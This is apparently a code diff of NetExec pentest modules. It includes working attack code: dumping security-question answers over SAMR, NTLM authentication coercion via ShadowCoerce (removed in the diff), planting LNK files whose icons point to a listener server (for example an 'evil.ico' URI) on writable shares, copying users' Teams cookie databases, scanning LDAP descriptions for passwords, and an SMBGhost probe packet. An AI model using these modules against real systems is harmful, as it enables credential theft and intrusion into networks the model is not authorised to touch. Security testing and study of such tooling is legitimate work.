||||
continue
|
||||
reset_data = loads(reset_data)
|
||||
questions = reset_data["questions"]
|
||||
|
||||
if len(questions) == 0:
|
||||
context.log.highlight(f"User {user['Name']} has no security questions")
|
||||
else:
|
||||
for qna in questions:
|
||||
question = qna["question"]
|
||||
answer = qna["answer"]
|
||||
context.log.highlight(f"{user['Name']} - {question}: {answer}")
|
||||
|
||||
samr.hSamrCloseHandle(dce, r["UserHandle"])
|
||||
except samr.DCERPCException as e:
|
||||
if "STATUS_INVALID_INFO_CLASS" in str(e):
|
||||
context.log.debug(f"Failed to query security questions for User: {user['Name']}: {e!s}")
|
||||
continue
|
||||
else:
|
||||
context.log.fail(f"Failed to query security questions for User: {user['Name']}: {e!s}")
|
||||
context.log.debug(traceback_format_exc())
|
||||
enumeration_context = resp["EnumerationContext"]
|
||||
status = resp["ErrorCode"]
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error: {e}")
|
||||
context.log.debug(traceback_format_exc())
|
||||
|
||||
finally:
|
||||
if domain_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, domain_handle)
|
||||
if server_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, server_handle)
|
||||
dce.disconnect()
|
||||
+2
-255
@@ -1,22 +1,6 @@
|
||||
import time
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL
|
||||
from impacket.dcerpc.v5.dtypes import BOOL, LONG, WSTR, LPWSTR
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5.rpcrt import (
|
||||
RPC_C_AUTHN_WINNT,
|
||||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
RPC_C_AUTHN_GSS_NEGOTIATE,
|
||||
)
|
||||
from impacket.smbconnection import SessionError
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "shadowcoerce"
|
||||
description = "Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
|
||||
description = "[REMOVED] Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -35,241 +19,4 @@ class NXCModule:
|
||||
self.ipsc = bool(module_options["IPSC"])
|
||||
|
||||
def on_login(self, context, connection):
|
||||
c = CoerceAuth()
|
||||
dce = c.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
pipe="FssagentRpc",
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
)
|
||||
|
||||
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
|
||||
if dce == 1:
|
||||
context.log.debug("First try failed. Creating another dce connection...")
|
||||
# Sleeping mandatory for second try
|
||||
time.sleep(2)
|
||||
dce = c.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
pipe="FssagentRpc",
|
||||
)
|
||||
|
||||
if self.ipsc:
|
||||
context.log.debug("ipsc = %s", self.ipsc)
|
||||
context.log.debug("Using IsPathShadowCopied!")
|
||||
result = c.IsPathShadowCopied(dce, self.listener)
|
||||
else:
|
||||
context.log.debug("ipsc = %s", self.ipsc)
|
||||
context.log.debug("Using the default IsPathSupported")
|
||||
result = c.IsPathSupported(dce, self.listener)
|
||||
|
||||
try:
|
||||
dce.disconnect()
|
||||
except SessionError as e:
|
||||
context.log.debug(f"Error disconnecting DCE session: {e}")
|
||||
|
||||
if result:
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://github.com/ShutdownRepo/ShadowCoerce")
|
||||
|
||||
else:
|
||||
context.log.debug("Target not vulnerable to ShadowCoerce")
|
||||
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__(self):
|
||||
key = self.error_code
|
||||
error_messages = system_errors.ERROR_MESSAGES
|
||||
error_messages.update(MSFSRVP_ERROR_CODES)
|
||||
if key in error_messages:
|
||||
error_msg_short = error_messages[key][0]
|
||||
error_msg_verbose = error_messages[key][1]
|
||||
return f"SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
|
||||
else:
|
||||
return f"SessionError: unknown error code: 0x{self.error_code:x}"
|
||||
|
||||
|
||||
################################################################################
|
||||
# Error Codes
|
||||
################################################################################
|
||||
MSFSRVP_ERROR_CODES = {
|
||||
0x80070005: (
|
||||
"E_ACCESSDENIED",
|
||||
"The caller does not have the permissions to perform the operation",
|
||||
),
|
||||
0x80070057: ("E_INVALIDARG", "One or more arguments are invalid."),
|
||||
0x80042301: (
|
||||
"FSRVP_E_BAD_STATE",
|
||||
"A method call was invalid because of the state of the server.",
|
||||
),
|
||||
0x80042316: (
|
||||
"FSRVP_E_SHADOW_COPY_SET_IN_PROGRESS",
|
||||
"A call was made to either SetContext (Opnum 1) or StartShadowCopySet (Opnum 2) while the creation of another shadow copy set is in progress.",
|
||||
),
|
||||
0x8004230C: (
|
||||
"FSRVP_E_NOT_SUPPORTED",
|
||||
"The file store that contains the share to be shadow copied is not supported by the server.",
|
||||
),
|
||||
0x00000102: (
|
||||
"FSRVP_E_WAIT_TIMEOUT",
|
||||
"The wait for a shadow copy commit or expose operation has timed out.",
|
||||
),
|
||||
0xFFFFFFFF: (
|
||||
"FSRVP_E_WAIT_FAILED",
|
||||
"The wait for a shadow copy commit expose operation has failed.",
|
||||
),
|
||||
0x8004230D: (
|
||||
"FSRVP_E_OBJECT_ALREADY_EXISTS",
|
||||
"The specified object already exists.",
|
||||
),
|
||||
0x80042308: ("FSRVP_E_OBJECT_NOT_FOUND", "The specified object does not exist."),
|
||||
0x8004231B: (
|
||||
"FSRVP_E_UNSUPPORTED_CONTEXT",
|
||||
"The specified context value is invalid.",
|
||||
),
|
||||
0x80042501: (
|
||||
"FSRVP_E_SHADOWCOPYSET_ID_MISMATCH",
|
||||
"The provided ShadowCopySetId does not exist.",
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
class IsPathSupported(NDRCALL):
|
||||
opnum = 8
|
||||
structure = (("ShareName", WSTR),)
|
||||
|
||||
|
||||
class IsPathSupportedResponse(NDRCALL):
|
||||
structure = (
|
||||
("SupportedByThisProvider", BOOL),
|
||||
("OwnerMachineName", LPWSTR),
|
||||
)
|
||||
|
||||
|
||||
class IsPathShadowCopied(NDRCALL):
|
||||
opnum = 9
|
||||
structure = (("ShareName", WSTR),)
|
||||
|
||||
|
||||
class IsPathShadowCopiedResponse(NDRCALL):
|
||||
structure = (
|
||||
("ShadowCopyPresent", BOOL),
|
||||
("ShadowCopyCompatibility", LONG),
|
||||
)
|
||||
|
||||
|
||||
OPNUMS = {
|
||||
8: (IsPathSupported, IsPathSupportedResponse),
|
||||
9: (IsPathShadowCopied, IsPathShadowCopiedResponse),
|
||||
}
|
||||
|
||||
|
||||
class CoerceAuth:
|
||||
def connect(
|
||||
self,
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
lmhash,
|
||||
nthash,
|
||||
aesKey,
|
||||
target,
|
||||
pipe,
|
||||
doKerberos,
|
||||
dcHost,
|
||||
):
|
||||
binding_params = {
|
||||
"FssagentRpc": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\FssagentRpc]" % target,
|
||||
"UUID": ("a8e0653c-2744-4389-a61d-7373df8b2292", "1.0"),
|
||||
},
|
||||
}
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
|
||||
dce.set_credentials(*rpctransport.get_credentials())
|
||||
dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
nxc_logger.info(f"Connecting to {binding_params[pipe]['stringBinding']}")
|
||||
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @ShutdownRepo
|
||||
if str(e).find("STATUS_PIPE_NOT_AVAILABLE") >= 0:
|
||||
dce.disconnect()
|
||||
return 1
|
||||
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
|
||||
nxc_logger.info("Connected!")
|
||||
nxc_logger.info(f"Binding to {binding_params[pipe]['UUID'][0]}")
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]["UUID"]))
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
|
||||
nxc_logger.info("Successfully bound!")
|
||||
return dce
|
||||
|
||||
def IsPathShadowCopied(self, dce, listener):
|
||||
nxc_logger.debug("Sending IsPathShadowCopied!")
|
||||
try:
|
||||
request = IsPathShadowCopied()
|
||||
# only NETLOGON and SYSVOL were detected working here
|
||||
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
|
||||
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
|
||||
nxc_logger.debug("Attack may of may not have worked, check your listener...")
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def IsPathSupported(self, dce, listener):
|
||||
nxc_logger.debug("Sending IsPathSupported!")
|
||||
try:
|
||||
request = IsPathSupported()
|
||||
# only NETLOGON and SYSVOL were detected working here
|
||||
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
|
||||
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
|
||||
nxc_logger.debug("Attack may of may not have worked, check your listener...")
|
||||
return False
|
||||
|
||||
return True
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
+56
-33
@@ -1,77 +1,100 @@
|
||||
import pylnk3
|
||||
import ntpath
|
||||
from sys import exit
|
||||
|
||||
from nxc.paths import TMP_PATH
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Original idea and PoC by Justin Angel (@4rch4ngel86)
|
||||
Module by @byt3bl33d3r
|
||||
Updated by @Marshall-Hallenbeck
|
||||
"""
|
||||
|
||||
name = "slinky"
|
||||
description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
|
||||
description = "Creates windows shortcuts with the icon attribute containing a URI to the specified server (default SMB) in all shares with write permissions"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
def __init__(self):
|
||||
self.server = None
|
||||
self.file_path = None
|
||||
self.lnk_path = None
|
||||
self.remote_file_path = None
|
||||
self.local_lnk_path = None
|
||||
self.lnk_name = None
|
||||
self.ico_uri = None
|
||||
self.shares = None
|
||||
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
|
||||
self.cleanup = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
SERVER IP of the SMB server
|
||||
NAME LNK file name
|
||||
r"""
|
||||
SERVER IP of the listening server (running Responder, etc)
|
||||
NAME LNK file name written to the share(s)
|
||||
ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
|
||||
SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
|
||||
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
|
||||
CLEANUP Cleanup (choices: True or False)
|
||||
"""
|
||||
self.cleanup = False
|
||||
|
||||
if "CLEANUP" in module_options:
|
||||
self.cleanup = bool(module_options["CLEANUP"])
|
||||
context.log.debug("Cleanup set to True")
|
||||
|
||||
if "NAME" not in module_options:
|
||||
context.log.fail("NAME option is required!")
|
||||
exit(1)
|
||||
|
||||
if "SHARES" in module_options:
|
||||
self.shares = module_options["SHARES"].split(",")
|
||||
context.log.debug(f"Shares to write to: {self.shares}")
|
||||
|
||||
if "IGNORE" in module_options:
|
||||
self.ignore_shares = module_options["IGNORE"].split(",")
|
||||
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
|
||||
|
||||
if not self.cleanup and "SERVER" not in module_options:
|
||||
context.log.fail("SERVER option is required!")
|
||||
exit(1)
|
||||
|
||||
|
||||
if "ICO_URI" in module_options:
|
||||
self.ico_uri = module_options["ICO_URI"]
|
||||
context.log.debug("Overriding")
|
||||
|
||||
|
||||
self.lnk_name = module_options["NAME"]
|
||||
self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
|
||||
self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
|
||||
self.local_lnk_path = f"{TMP_PATH}/{self.lnk_name}.lnk"
|
||||
self.remote_file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
|
||||
|
||||
if not self.cleanup:
|
||||
self.server = module_options["SERVER"]
|
||||
link = pylnk3.create(self.lnk_path)
|
||||
link.icon = f"\\\\{self.server}\\icons\\icon.ico"
|
||||
link = pylnk3.create(self.local_lnk_path)
|
||||
link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
|
||||
link.save()
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if "WRITE" in share["access"] and share["name"] not in [
|
||||
"C$",
|
||||
"ADMIN$",
|
||||
"NETLOGON",
|
||||
]:
|
||||
context.log.success(f"Found writable share: {share['name']}")
|
||||
if not self.cleanup:
|
||||
with open(self.lnk_path, "rb") as lnk:
|
||||
if shares:
|
||||
slinky_logger = context.log.init_log_file()
|
||||
context.log.add_file_log(slinky_logger)
|
||||
|
||||
for share in shares:
|
||||
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
|
||||
if self.shares is not None and share["name"] not in self.shares:
|
||||
context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
|
||||
continue
|
||||
|
||||
context.log.success(f"Found writable share: {share['name']}")
|
||||
if not self.cleanup:
|
||||
with open(self.local_lnk_path, "rb") as lnk:
|
||||
try:
|
||||
connection.conn.putFile(share["name"], self.remote_file_path, lnk.read)
|
||||
context.log.success(f"Created LNK file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
|
||||
else:
|
||||
try:
|
||||
connection.conn.putFile(share["name"], self.file_path, lnk.read)
|
||||
context.log.success(f"Created LNK file on the {share['name']} share")
|
||||
connection.conn.deleteFile(share["name"], self.remote_file_path)
|
||||
context.log.success(f"Deleted LNK file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
|
||||
else:
|
||||
try:
|
||||
connection.conn.deleteFile(share["name"], self.file_path)
|
||||
context.log.success(f"Deleted LNK file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
|
||||
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
|
||||
@@ -0,0 +1,58 @@
|
||||
# everything is comming from https://github.com/ly4k/SMBGhost
|
||||
# credit to @ly4k_
|
||||
# module by : @r4vanan
|
||||
import socket
|
||||
import struct
|
||||
|
||||
# Constants
|
||||
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
|
||||
|
||||
# SMBGhost Packet
|
||||
SMBGHOST_PKT = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
|
||||
|
||||
class NXCModule:
|
||||
name = "smbghost"
|
||||
description = "Module to check for the SMB dialect 3.1.1 and compression capability of the host, which is an indicator for the SMBGhost vulnerability (CVE-2020-0796)."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
# Define options if needed
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
if self.perform_attack(connection.host):
|
||||
self.context.log.highlight("Potentially vulnerable to SMBGhost (CVE-2020-0796)")
|
||||
|
||||
def perform_attack(self, target_ip):
|
||||
self.context.log.debug("Performing SMBGhost check...")
|
||||
try:
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
|
||||
sock.settimeout(5)
|
||||
sock.connect((target_ip, 445))
|
||||
sock.send(SMBGHOST_PKT)
|
||||
|
||||
# Receive the first 4 bytes for length
|
||||
nb_data = sock.recv(4)
|
||||
if len(nb_data) < 4:
|
||||
self.context.log.debug(f"{target_ip} Connection closed unexpectedly.")
|
||||
return False
|
||||
|
||||
nb, = struct.unpack(">I", nb_data)
|
||||
res = sock.recv(nb)
|
||||
|
||||
# Check response for vulnerability
|
||||
if res[68:70] == b"\x11\x03" and res[70:72] == b"\x02\x00":
|
||||
return True
|
||||
else:
|
||||
self.context.log.debug(f"{target_ip} Not vulnerable.")
|
||||
return False
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error while connecting to host: {e}")
|
||||
return False
|
||||
+23
-23
@@ -1,8 +1,9 @@
|
||||
import json
|
||||
import errno
|
||||
import os
|
||||
from os.path import abspath, join, split, exists, splitext, getsize, sep
|
||||
from os import makedirs, remove, stat
|
||||
import time
|
||||
import traceback
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.protocols.smb.remotefile import RemoteFile
|
||||
from impacket.smb3structs import FILE_READ_DATA
|
||||
from impacket.smbconnection import SessionError
|
||||
@@ -36,7 +37,7 @@ def human_time(timestamp):
|
||||
def make_dirs(path):
|
||||
"""Creates directories at the given path. It handles the exception `os.errno.EEXIST` that may occur if the directories already exist."""
|
||||
try:
|
||||
os.makedirs(path)
|
||||
makedirs(path)
|
||||
except OSError as e:
|
||||
if e.errno != errno.EEXIST:
|
||||
raise
|
||||
@@ -157,8 +158,8 @@ class SMBSpiderPlus:
|
||||
remote_file.__smbConnection = self.smb.conn
|
||||
return self.read_chunk(remote_file)
|
||||
|
||||
except Exception:
|
||||
traceback.print_exc()
|
||||
except Exception as e:
|
||||
self.logger.exception(e)
|
||||
break
|
||||
|
||||
return chunk
|
||||
@@ -170,13 +171,13 @@ class SMBSpiderPlus:
|
||||
The folder path and filename are then obtained separately.
|
||||
"""
|
||||
# Remove the backslash before the remote host part and replace slashes with the appropriate path separator
|
||||
remote_file_path = str(remote_file)[2:].replace("/", os.path.sep).replace("\\", os.path.sep)
|
||||
remote_file_path = str(remote_file)[2:].replace("/", sep).replace("\\", sep)
|
||||
|
||||
# Split the path to obtain the folder path and the filename
|
||||
folder, filename = os.path.split(remote_file_path)
|
||||
folder, filename = split(remote_file_path)
|
||||
|
||||
# Join the output folder with the folder path to get the final local folder path
|
||||
folder = os.path.join(self.output_folder, folder)
|
||||
folder = join(self.output_folder, folder)
|
||||
|
||||
return folder, filename
|
||||
|
||||
@@ -212,13 +213,13 @@ class SMBSpiderPlus:
|
||||
# Start the spider at the root of the share folder
|
||||
self.results[share_name] = {}
|
||||
self.spider_folder(share_name, "")
|
||||
except SessionError:
|
||||
traceback.print_exc()
|
||||
except SessionError as e:
|
||||
self.logger.exception(e)
|
||||
self.logger.fail("Got a session error while spidering.")
|
||||
self.reconnect()
|
||||
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
self.logger.exception(e)
|
||||
self.logger.fail(f"Error enumerating shares: {e!s}")
|
||||
|
||||
# Save the metadata.
|
||||
@@ -253,7 +254,7 @@ class SMBSpiderPlus:
|
||||
# Check file-dir exclusion filter.
|
||||
if any(d in next_filedir.lower() for d in self.exclude_filter):
|
||||
self.logger.info(f'The {result_type} "{next_filedir}" has been excluded')
|
||||
self.stats[f"{result_type}s_filtered"] += 1
|
||||
self.stats[f"num_{result_type}s_filtered"] += 1
|
||||
continue
|
||||
|
||||
if result_type == "folder":
|
||||
@@ -283,7 +284,7 @@ class SMBSpiderPlus:
|
||||
return
|
||||
|
||||
# Check file extension filter.
|
||||
_, file_extension = os.path.splitext(file_path)
|
||||
_, file_extension = splitext(file_path)
|
||||
if file_extension:
|
||||
self.stats["file_exts"].add(file_extension.lower())
|
||||
if file_extension.lower() in self.exclude_exts:
|
||||
@@ -306,10 +307,10 @@ class SMBSpiderPlus:
|
||||
|
||||
# Check if the file is already downloaded and up-to-date.
|
||||
file_dir, file_name = self.get_file_save_path(remote_file)
|
||||
download_path = os.path.join(file_dir, file_name)
|
||||
download_path = join(file_dir, file_name)
|
||||
needs_update_flag = False
|
||||
if os.path.exists(download_path):
|
||||
if file_modified_time <= os.stat(download_path).st_mtime and os.path.getsize(download_path) == file_size:
|
||||
if exists(download_path):
|
||||
if file_modified_time <= stat(download_path).st_mtime and getsize(download_path) == file_size:
|
||||
self.logger.info(f'File already downloaded "{file_path}" => "{download_path}".')
|
||||
self.stats["num_files_unmodified"] += 1
|
||||
return
|
||||
@@ -348,7 +349,7 @@ class SMBSpiderPlus:
|
||||
remote_file.seek(0, 0)
|
||||
|
||||
folder, filename = self.get_file_save_path(remote_file)
|
||||
download_path = os.path.join(folder, filename)
|
||||
download_path = join(folder, filename)
|
||||
|
||||
# Create the subdirectories based on the share name and file path.
|
||||
self.logger.debug(f"Creating folder '{folder}'")
|
||||
@@ -365,8 +366,8 @@ class SMBSpiderPlus:
|
||||
self.logger.fail(f'Error writing file "{download_path}" from share "{share_name}": {e}')
|
||||
|
||||
# Check if the file is empty and should not be.
|
||||
if os.path.getsize(download_path) == 0 and remote_file.get_filesize() > 0:
|
||||
os.remove(download_path)
|
||||
if getsize(download_path) == 0 and remote_file.get_filesize() > 0:
|
||||
remove(download_path)
|
||||
remote_path = str(remote_file)[2:]
|
||||
self.logger.fail(f'Unable to download file "{remote_path}".')
|
||||
|
||||
@@ -375,7 +376,7 @@ class SMBSpiderPlus:
|
||||
|
||||
The results are formatted with indentation and sorted keys before being written to the file.
|
||||
"""
|
||||
metadata_path = os.path.join(self.output_folder, f"{self.host}.json")
|
||||
metadata_path = join(self.output_folder, f"{self.host}.json")
|
||||
try:
|
||||
with open(metadata_path, "w", encoding="utf-8") as fd:
|
||||
fd.write(json.dumps(results, indent=4, sort_keys=True))
|
||||
@@ -410,8 +411,7 @@ class SMBSpiderPlus:
|
||||
self.logger.display(f"Total folders found: {num_folders}")
|
||||
num_folders_filtered = self.stats.get("num_folders_filtered", 0)
|
||||
if num_folders_filtered:
|
||||
num_filtered_folders = len(num_folders_filtered)
|
||||
self.logger.display(f"Folders Filtered: {num_filtered_folders}")
|
||||
self.logger.display(f"Folders Filtered: {num_folders_filtered}")
|
||||
|
||||
# File statistics.
|
||||
num_files = self.stats.get("num_files", 0)
|
||||
@@ -498,7 +498,7 @@ class NXCModule:
|
||||
self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
|
||||
self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive
|
||||
self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
|
||||
self.output_folder = module_options.get("OUTPUT_FOLDER", os.path.join("/tmp", "nxc_spider_plus"))
|
||||
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Started module spidering_plus with the following options:")
|
||||
|
||||
@@ -7,6 +7,7 @@ from impacket.dcerpc.v5.rpch import (
|
||||
RPC_PROXY_CONN_A1_404_ERR,
|
||||
RPC_PROXY_RPC_OUT_DATA_404_ERR,
|
||||
)
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
KNOWN_PROTOCOLS = {
|
||||
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
|
||||
@@ -47,14 +48,14 @@ class NXCModule:
|
||||
context.log.debug(f"StringBinding {self.__stringbinding}")
|
||||
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
|
||||
rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
|
||||
rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
rpctransport.set_dport(self.port)
|
||||
|
||||
if connection.kerberos:
|
||||
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
|
||||
|
||||
try:
|
||||
entries = self.__fetch_list(rpctransport)
|
||||
entries = self.__fetch_list(connection.kerberos, rpctransport)
|
||||
except Exception as e:
|
||||
error_text = f"Protocol failed: {e}"
|
||||
context.log.critical(error_text)
|
||||
@@ -112,8 +113,10 @@ class NXCModule:
|
||||
else:
|
||||
context.log.debug("[Spooler] No endpoints found")
|
||||
|
||||
def __fetch_list(self, rpctransport):
|
||||
def __fetch_list(self, doKerberos, rpctransport):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
resp = epm.hept_lookup(None, dce=dce)
|
||||
dce.disconnect()
|
||||
|
||||
@@ -1,4 +1,6 @@
|
||||
import sqlite3
|
||||
from nxc.paths import TMP_PATH
|
||||
from os.path import abspath, join
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -16,7 +18,7 @@ class NXCModule:
|
||||
connection.execute("taskkill /F /T /IM teams.exe")
|
||||
found = 0
|
||||
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
|
||||
with open("/tmp/teams_cookies2.txt", "wb") as f:
|
||||
with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
|
||||
for path in paths:
|
||||
try:
|
||||
connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
|
||||
@@ -37,7 +39,7 @@ class NXCModule:
|
||||
@staticmethod
|
||||
def parse_file(context, name):
|
||||
try:
|
||||
conn = sqlite3.connect("/tmp/teams_cookies2.txt")
|
||||
conn = sqlite3.connect(abspath(join(TMP_PATH, "teams_cookies2.txt")))
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT value FROM cookies WHERE name = '" + name + "'")
|
||||
row = c.fetchone()
|
||||
|
||||
@@ -37,7 +37,6 @@ class NXCModule:
|
||||
"""
|
||||
self.log_file = None
|
||||
self.desc_count = 0
|
||||
self.context = context
|
||||
self.account_names = set()
|
||||
self.keywords = {"pass", "creds", "creden", "key", "secret", "default"}
|
||||
|
||||
@@ -71,6 +70,7 @@ class NXCModule:
|
||||
On successful LDAP login we perform a search for all user objects that have a description.
|
||||
Users can specify additional LDAP filters that are applied to the query.
|
||||
"""
|
||||
self.context = context
|
||||
self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
|
||||
context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'")
|
||||
|
||||
File renamed without changes.
@@ -0,0 +1,285 @@
|
||||
import ntpath
|
||||
import tempfile
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket import winregistry
|
||||
